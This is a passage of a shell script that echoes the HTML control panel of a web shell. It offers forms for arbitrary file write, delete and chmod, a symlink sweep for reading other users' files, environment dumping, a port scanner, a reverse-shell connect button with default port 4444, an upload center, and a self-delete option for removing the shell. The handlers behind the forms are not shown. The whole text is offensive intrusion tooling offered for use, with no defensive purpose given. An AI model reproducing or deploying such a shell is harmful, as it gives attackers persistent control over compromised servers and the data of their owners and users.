echo '<div class="card"><h2>write</h2><form method="get"><input type="hidden" name="a" value="write"><div class="row"><input name="p2" placeholder="/path" style="flex:1"></div><textarea name="content" placeholder="contents"></textarea><div class="row"><button>write</button></div></form></div>'
echo '<div class="card"><h2>delete</h2><form method="get"><input type="hidden" name="a" value="delete"><div class="row"><input name="p2" placeholder="/path" style="flex:1"><button class="danger">delete</button></div></form></div>'
echo '<div class="card"><h2>mkdir</h2><form method="get"><input type="hidden" name="a" value="mkdir"><div class="row"><input name="p2" placeholder="parent dir" style="flex:1"><button>mkdir</button></div></form></div>'
echo '<div class="card"><h2>new file</h2><form method="get"><input type="hidden" name="a" value="newfile"><div class="row"><input name="p2" placeholder="dir" style="flex:1"><button>create</button></div></form></div>'
echo '<div class="card"><h2>chmod</h2><form method="get"><input type="hidden" name="a" value="chmod"><div class="row"><input name="p2" placeholder="/path" style="flex:1"><input name="m" value="0755" style="width:6em"><button>chmod</button></div></form></div>'
echo '<div class="card"><h2>sym sweep</h2><form method="get"><input type="hidden" name="a" value="sym"><div class="row"><input name="dir" value="'"$HOME_DIR/sym"'" style="flex:1"><button class="ghost">sweep</button></div></form></div>'
echo '<div class="card"><h2>env</h2><form method="get"><input type="hidden" name="a" value="env"><div class="row"><input name="p2" placeholder="(auto)" style="flex:1"><button class="ghost">env</button></div></form></div>'
echo '<div class="card"><h2>port scan</h2><form method="get"><input type="hidden" name="a" value="port"><div class="row"><input name="h" value="127.0.0.1" style="flex:1"><input name="ports" value="22,80,443,3306" style="flex:1"></div><div class="row"><button class="ghost">scan</button></div></form></div>'
echo '<div class="card"><h2>reverse</h2><form method="get"><input type="hidden" name="a" value="rev"><div class="row"><input name="ip" placeholder="ip" style="flex:1"><input name="port" value="4444" style="width:6em"><button class="danger">connect</button></div></form></div>'
echo '<div class="card"><h2>self / delete</h2><form method="get" class="row"><input type="hidden" name="a" value="self"><button class="ghost">info</button></form><form method="get" class="row"><input type="hidden" name="a" value="del"><button class="danger">delete shell</button></form></div>'
echo '</div>'

echo '<div class="card"><h2>upload center</h2>'
echo '<form method="get" action="?a=upload">'
echo '<div class="row"><input name="dir" placeholder="target dir (auto)" value="'"$DEF_UPLOAD_DIR"'" style="flex:2"></div>'
echo '<div class="row"><button>open upload</button></div>'
echo '</form></div>'

echo '</div></body></html>'